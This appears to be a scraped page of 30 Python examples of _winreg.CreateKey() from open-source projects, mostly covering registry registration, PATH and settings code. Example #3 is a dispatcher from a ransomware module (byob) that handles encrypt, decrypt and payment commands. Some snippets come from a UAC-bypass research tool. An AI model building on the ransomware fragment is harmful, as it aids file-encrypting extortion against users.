Python _winreg.CreateKey() Examples

The following are 30 code examples of _winreg.CreateKey(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module _winreg , or try the search function .
Example #1
Source File: win_add2path.py    From oss-ftp with MIT License 7 votes vote down vote up
def modify():
    pythonpath = os.path.dirname(os.path.normpath(sys.executable))
    scripts = os.path.join(pythonpath, "Scripts")
    appdata = os.environ["APPDATA"]
    if hasattr(site, "USER_SITE"):
        userpath = site.USER_SITE.replace(appdata, "%APPDATA%")
        userscripts = os.path.join(userpath, "Scripts")
    else:
        userscripts = None

    with _winreg.CreateKey(HKCU, ENV) as key:
        try:
            envpath = _winreg.QueryValueEx(key, PATH)[0]
        except WindowsError:
            envpath = DEFAULT

        paths = [envpath]
        for path in (pythonpath, scripts, userscripts):
            if path and path not in envpath and os.path.isdir(path):
                paths.append(path)

        envpath = os.pathsep.join(paths)
        _winreg.SetValueEx(key, PATH, 0, _winreg.REG_EXPAND_SZ, envpath)
        return paths, envpath 
Example #2
Source File: win_add2path.py    From Carnets with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def modify():
    pythonpath = os.path.dirname(os.path.normpath(sys.executable))
    scripts = os.path.join(pythonpath, "Scripts")
    appdata = os.environ["APPDATA"]
    if hasattr(site, "USER_SITE"):
        userpath = site.USER_SITE.replace(appdata, "%APPDATA%")
        userscripts = os.path.join(userpath, "Scripts")
    else:
        userscripts = None

    with _winreg.CreateKey(HKCU, ENV) as key:
        try:
            envpath = _winreg.QueryValueEx(key, PATH)[0]
        except WindowsError:
            envpath = DEFAULT

        paths = [envpath]
        for path in (pythonpath, scripts, userscripts):
            if path and path not in envpath and os.path.isdir(path):
                paths.append(path)

        envpath = os.pathsep.join(paths)
        _winreg.SetValueEx(key, PATH, 0, _winreg.REG_EXPAND_SZ, envpath)
        return paths, envpath 
Example #3
Source File: ransom.py    From byob with GNU General Public License v3.0 6 votes vote down vote up
def run(args=None):
    """
    Run the ransom module

    `Required`
    :param str args:  encrypt, decrypt, payment

    """
    global usage
    if args:
        cmd, _, action = str(args).partition(' ')
        if 'payment' in cmd:
            return request_payment(action)
        elif 'decrypt' in cmd:
            return decrypt_files(action)
        elif 'encrypt' in cmd:
            reg_key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'])
            return encrypt_files(action)
    return usage 
Example #4
Source File: win_add2path.py    From datafari with Apache License 2.0 6 votes vote down vote up
def modify():
    pythonpath = os.path.dirname(os.path.normpath(sys.executable))
    scripts = os.path.join(pythonpath, "Scripts")
    appdata = os.environ["APPDATA"]
    if hasattr(site, "USER_SITE"):
        userpath = site.USER_SITE.replace(appdata, "%APPDATA%")
        userscripts = os.path.join(userpath, "Scripts")
    else:
        userscripts = None

    with _winreg.CreateKey(HKCU, ENV) as key:
        try:
            envpath = _winreg.QueryValueEx(key, PATH)[0]
        except WindowsError:
            envpath = DEFAULT

        paths = [envpath]
        for path in (pythonpath, scripts, userscripts):
            if path and path not in envpath and os.path.isdir(path):
                paths.append(path)

        envpath = os.pathsep.join(paths)
        _winreg.SetValueEx(key, PATH, 0, _winreg.REG_EXPAND_SZ, envpath)
        return paths, envpath 
Example #5
Source File: platform.py    From BitTorrent with GNU General Public License v3.0 6 votes vote down vote up
def enforce_shortcut(config, log_func):
    if os.name != 'nt':
        return

    path = win32api.GetModuleFileName(0)

    if 'python' in path.lower():
        # oops, running the .py too lazy to make that work
        path = r"C:\Program Files\BitTorrent\bittorrent.exe"

    root_key = _winreg.HKEY_CURRENT_USER
    subkey = r'Software\Microsoft\Windows\CurrentVersion\run'
    key = _winreg.CreateKey(root_key, subkey)
    if config['launch_on_startup']:
        _winreg.SetValueEx(key, app_name, 0, _winreg.REG_SZ,
                           '"%s" --force_start_minimized' % path)
    else:
        try:
            _winreg.DeleteValue(key, app_name)
        except WindowsError, e:
            # value doesn't exist
            pass 
Example #6
Source File: Install.py    From EventGhost with GNU General Public License v2.0 6 votes vote down vote up
def Install():
    AddOrRemoveHIDKeys(True)
    osExtension = "x86"
    if Is64BitOS():
        osExtension = "x64"
    pluginDir =  dirname(__file__.decode(sys.getfilesystemencoding()))
    tmpExe = join(pluginDir, "AlternateMceIrService_%s.exe"%osExtension)
    myExe = join(pluginDir, "AlternateMceIrService.exe")
    try:
        os.remove(myExe)
    except:
        pass
    shutil.copyfile(tmpExe,myExe)
    key = reg.CreateKey(reg.HKEY_LOCAL_MACHINE, ServiceKey+"\\AlternateMceIrService")
    reg.SetValueEx(key, "EventMessageFile", 0, reg.REG_SZ, myExe)
    reg.SetValueEx(key, "TypesSupported", 0, reg.REG_DWORD, 7)
    service = Service(u"AlternateMceIrService")
    service.Install(myExe)
    service.Start()
    print "Service successfully installed" 
Example #7
Source File: textext.py    From inkscapeMadeEasy with GNU General Public License v3.0 6 votes vote down vote up
def save(self):
        if USE_WINDOWS:
            import _winreg
            try:
                key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, self.keyname,
                                      sam=_winreg.KEY_SET_VALUE | _winreg.KEY_WRITE)
            except:
                key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.keyname)
            try:
                for k, v in self.values.iteritems():
                    _winreg.SetValueEx(key, str(k), 0, _winreg.REG_SZ, str(v))
            finally:
                key.Close()
        else:
            d = os.path.dirname(self.filename)
            if not os.path.isdir(d):
                os.makedirs(d)
            
            f = open(self.filename, 'w')
            try:
                data = '\n'.join(["%s=%s" % (k,v)
                                  for k,v in self.values.iteritems()])
                f.write(data)
            finally:
                f.close() 
Example #8
Source File: iebutton.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def unregister(classobj):
    import _winreg
    subKeyCLSID = "SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\%38s" % classobj._reg_clsid_
    try:
        hKey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, subKeyCLSID )
        subKey = _winreg.DeleteValue( hKey, "ButtonText" )
        _winreg.DeleteValue( hKey, "ClsidExtension" ) # for calling COM object
        _winreg.DeleteValue( hKey, "CLSID" )
        _winreg.DeleteValue( hKey, "Default Visible" )
        _winreg.DeleteValue( hKey, "ToolTip" )
        _winreg.DeleteValue( hKey, "Icon" )
        _winreg.DeleteValue( hKey, "HotIcon" )
        _winreg.DeleteKey( _winreg.HKEY_LOCAL_MACHINE, subKeyCLSID )
    except WindowsError:
        print "Couldn't delete Standard toolbar regkey."
    else:
        print "Deleted Standard toolbar regkey."

#
# test implementation
# 
Example #9
Source File: shell_view.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolderRoot._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolderRoot._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolderRoot._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    print ShellFolderRoot._reg_desc_, "registration complete." 
Example #10
Source File: shell_view.py    From Email_My_PC with MIT License 6 votes vote down vote up
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolderRoot._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolderRoot._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolderRoot._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    print ShellFolderRoot._reg_desc_, "registration complete." 
Example #11
Source File: column_provider.py    From Email_My_PC with MIT License 5 votes vote down vote up
def DllRegisterServer():
    import _winreg
    # Special ColumnProvider key
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "Folder\\ShellEx\\ColumnHandlers\\" + \
                        str(ColumnProvider._reg_clsid_ ))
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ColumnProvider._reg_desc_)
    print ColumnProvider._reg_desc_, "registration complete." 
Example #12
Source File: copy_hook.py    From Email_My_PC with MIT License 5 votes vote down vote up
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                            "directory\\shellex\\CopyHookHandlers\\" +
                            ShellExtension._reg_desc_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_)
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                            "*\\shellex\\CopyHookHandlers\\" +
                            ShellExtension._reg_desc_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_)
    print ShellExtension._reg_desc_, "registration complete." 
Example #13
Source File: winreg.py    From uac-a-mola with GNU General Public License v3.0 5 votes vote down vote up
def create_key(self, key, subkey):
        """ Creates a key THAT DOESN'T EXIST, we need
        to keep track of the keys that we are creating
        """
        self.no_restore = False
        self.non_existent_path(key, subkey)
        try:
            return winreg.CreateKey(key, subkey)

        except WindowsError as error:
            print "Error al crear clave"
            self.no_restore = True 
Example #14
Source File: empty_volume_cache.py    From Email_My_PC with MIT License 5 votes vote down vote up
def DllRegisterServer():
    # Also need to register specially in:
    # HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches
    # See link at top of file.
    import _winreg
    kn = r"Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\%s" \
         % (EmptyVolumeCache._reg_desc_,)
    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, kn)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, EmptyVolumeCache._reg_clsid_) 
Example #15
Source File: Registry.py    From EventGhost with GNU General Public License v2.0 5 votes vote down vote up
def __call__(
        self,
        key,
        subkey,
        valueName,
        action,
        keyType,
        newValue,
        disableParsing=False
    ):
        if not disableParsing:
            newValue = eg.ParseString(newValue)
        if not key:
            self.PrintError(self.text2.noKeyError)
            return 0
        if not subkey:
            self.PrintError(self.text2.noSubkeyError)
            return 0
        if not valueName:
            self.PrintError(self.text2.noValueNameError)
            return 0

        #try to get handle
        try:
            if action == 0:
                regHandle = _winreg.CreateKey(key, subkey)
            else:
                regHandle = _winreg.OpenKey(
                    key,
                    subkey,
                    0,
                    _winreg.KEY_WRITE | _winreg.KEY_READ
                )
        except EnvironmentError, exc:
            if action != 1:
                eg.PrintError(self.text2.keyOpenError + ": " + str(exc))
            return 0

        #getting old value 
Example #16
Source File: context_menu.py    From Email_My_PC with MIT License 5 votes vote down vote up
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                            "Python.File\\shellex")
    subkey = _winreg.CreateKey(key, "ContextMenuHandlers")
    subkey2 = _winreg.CreateKey(subkey, "PythonSample")
    _winreg.SetValueEx(subkey2, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_)
    print ShellExtension._reg_desc_, "registration complete." 
Example #17
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 5 votes vote down vote up
def __call__(self, imageFileName='', style=1):
        if imageFileName:
            image = wx.Image(imageFileName)
            imageFileName = os.path.join(
                eg.folderPath.RoamingAppData, "Microsoft", "Wallpaper1.bmp"
            )
            image.SaveFile(imageFileName, wx.BITMAP_TYPE_BMP)
        tile, wstyle = (("0", "0"), ("1", "0"), ("0", "2"))[style]
        hKey = _winreg.CreateKey(
            _winreg.HKEY_CURRENT_USER,
            "Control Panel\\Desktop"
        )
        _winreg.SetValueEx(
            hKey,
            "TileWallpaper",
            0,
            _winreg.REG_SZ,
            tile
        )
        _winreg.SetValueEx(
            hKey,
            "WallpaperStyle",
            0,
            _winreg.REG_SZ,
            wstyle
        )
        _winreg.CloseKey(hKey)
        res = SystemParametersInfo(
            SPI_SETDESKWALLPAPER,
            0,
            create_unicode_buffer(imageFileName),
            SPIF_SENDCHANGE | SPIF_UPDATEINIFILE
        )
        if res == 0:
            self.PrintError(ctypes.FormatError()) 
Example #18
Source File: folder_view.py    From Email_My_PC with MIT License 5 votes vote down vote up
def DllRegisterServer():
    import _winreg
    if sys.getwindowsversion()[0] < 6:
        print "This sample only works on Vista"
        sys.exit(1)

    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolder._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolder._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolder._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    # register the context menu handler under the FolderViewSampleType type.
    keypath = "%s\\shellex\\ContextMenuHandlers\\%s" % (ContextMenu._context_menu_type_, ContextMenu._reg_desc_)
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, keypath)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ContextMenu._reg_clsid_)
    propsys.PSRegisterPropertySchema(get_schema_fname())
    print ShellFolder._reg_desc_, "registration complete." 
Example #19
Source File: platform.py    From BitTorrent with GNU General Public License v3.0 5 votes vote down vote up
def write_language_file(lang):
    """Writes the language file.  The language file contains the
       name of the selected language, not any translations."""

    if lang != '': # system default
        get_language(lang)

    if os.name == 'nt':
        regko = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\BitTorrent")
        if lang == '':
            _winreg.DeleteValue(regko, "Language")
        else:
            lcid = None

            # I want two-way dicts
            for id, code in language.locale_sucks.iteritems():
                if code.lower() == lang.lower():
                    lcid = id
                    break
            if not lcid:
                raise KeyError(lang)

            _winreg.SetValueEx(regko, "Language", 0, _winreg.REG_SZ, str(lcid))

    else:
        lang_file_name = language_path()
        lang_file = open(lang_file_name, 'w')
        lang_file.write(lang)
        lang_file.close() 
Example #20
Source File: winutils.py    From pysteam with MIT License 5 votes vote down vote up
def find_steam_location():
  """
  Finds the location of the current Steam installation on Windows machines.
  Returns None for any non-Windows machines, or for Windows machines where
  Steam is not installed.
  """
  if registry is None:
    return None

  key = registry.CreateKey(registry.HKEY_CURRENT_USER,"Software\Valve\Steam")
  return registry.QueryValueEx(key,"SteamPath")[0] 
Example #21
Source File: steam.py    From pysteam with MIT License 5 votes vote down vote up
def _windows_steam_location():
    if not _is_windows():
        return
    import _winreg as registry
    key = registry.CreateKey(registry.HKEY_CURRENT_USER,"Software\Valve\Steam")
    return registry.QueryValueEx(key,"SteamPath")[0] 
Example #22
Source File: ext_server_uacamola.py    From uac-a-mola with GNU General Public License v3.0 5 votes vote down vote up
def create_key(self, key, subkey):
        """ Creates a key THAT DOESN'T EXIST, we need
        to keep track of the keys that we are creating
        """
        self.no_restore = False
        self.non_existent_path(key, subkey)
        try:
            return winreg.CreateKey(key, subkey)
        except WindowsError as error:
            self.no_restore = True
            return None 
Example #23
Source File: recipe-577381.py    From code with MIT License 5 votes vote down vote up
def __setitem__(self, k, v):
        if type(v) != type(u''):
            raise NotImplementedError
        key, subkey = self._compute_subkey(k)
        with _winreg.CreateKey(self._hive, key) as root_key:
            _winreg.SetValueEx(root_key, subkey, 0, _winreg.REG_SZ, v) 
Example #24
Source File: recipe-502268.py    From code with MIT License 5 votes vote down vote up
def create(self, path):
        # create a subkey, and the path to it if necessary
        k=self
        for p in path.split('/'):
            if p in k.keys:
                k=k.keys[p]
            else:
                reg.CreateKey(k.wrk, p)
                k=Key(k, p)
        return k 
Example #25
Source File: win32regchecker.py    From p2ptv-pi with MIT License 5 votes vote down vote up
def writeKey(self, hkey, key_name, value_name, value_data, value_type):
        try:
            full_key = _winreg.CreateKey(hkey, key_name)
        except EnvironmentError:
            return False

        _winreg.SetValueEx(full_key, value_name, 0, value_type, value_data)
        _winreg.CloseKey(full_key)
        return True 
Example #26
Source File: outlookAddin.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def RegisterAddin(klass):
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\Outlook\\Addins")
    subkey = _winreg.CreateKey(key, klass._reg_progid_)
    _winreg.SetValueEx(subkey, "CommandLineSafe", 0, _winreg.REG_DWORD, 0)
    _winreg.SetValueEx(subkey, "LoadBehavior", 0, _winreg.REG_DWORD, 3)
    _winreg.SetValueEx(subkey, "Description", 0, _winreg.REG_SZ, klass._reg_progid_)
    _winreg.SetValueEx(subkey, "FriendlyName", 0, _winreg.REG_SZ, klass._reg_progid_) 
Example #27
Source File: excelAddin.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def RegisterAddin(klass):
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\Excel\\Addins")
    subkey = _winreg.CreateKey(key, klass._reg_progid_)
    _winreg.SetValueEx(subkey, "CommandLineSafe", 0, _winreg.REG_DWORD, 0)
    _winreg.SetValueEx(subkey, "LoadBehavior", 0, _winreg.REG_DWORD, 3)
    _winreg.SetValueEx(subkey, "Description", 0, _winreg.REG_SZ, "Excel Addin")
    _winreg.SetValueEx(subkey, "FriendlyName", 0, _winreg.REG_SZ, "A Simple Excel Addin") 
Example #28
Source File: ietoolbar.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def DllUnregisterServer():
    comclass = IEToolbar

    # unregister toolbar from internet explorer
    try:
        print "Trying to unregister Toolbar.\n"
        hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar" )
        _winreg.DeleteValue( hkey, comclass._reg_clsid_ )
    except WindowsError:
        print "Couldn't delete registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    else:
        print "Deleting reg key succeeded.\n"

# entry point 
Example #29
Source File: ietoolbar.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def DllRegisterServer():
    comclass = IEToolbar

    # register toolbar with IE
    try:
        print "Trying to register Toolbar.\n"
        hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar" )
        subKey = _winreg.SetValueEx( hkey, comclass._reg_clsid_, 0, _winreg.REG_BINARY, "\0" )
    except WindowsError:
        print "Couldn't set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    else:
        print "Set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    # TODO: implement reg settings for standard toolbar button

# unregister plugin 
Example #30
Source File: setup_d.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def _doregister(mod_name, dll_name):
    assert os.path.isfile(dll_name), "Shouldn't get here if the file doesn't exist!"
    try:
        key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "Software\\Python\\PythonCore\\%s\\Modules\\%s" % (sys.winver, mod_name))
    except _winreg.error:
        try:
            key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "Software\\Python\\PythonCore\\%s\\Modules\\%s" % (sys.winver, mod_name))
        except _winreg.error:
            print "Could not find the existing '%s' module registered in the registry" % (mod_name,)
            usage_and_die(4)
    # Create the debug key.
    sub_key = _winreg.CreateKey(key, "Debug")
    _winreg.SetValue(sub_key, None, _winreg.REG_SZ, dll_name)
    print "Registered '%s' in the registry" % (dll_name,)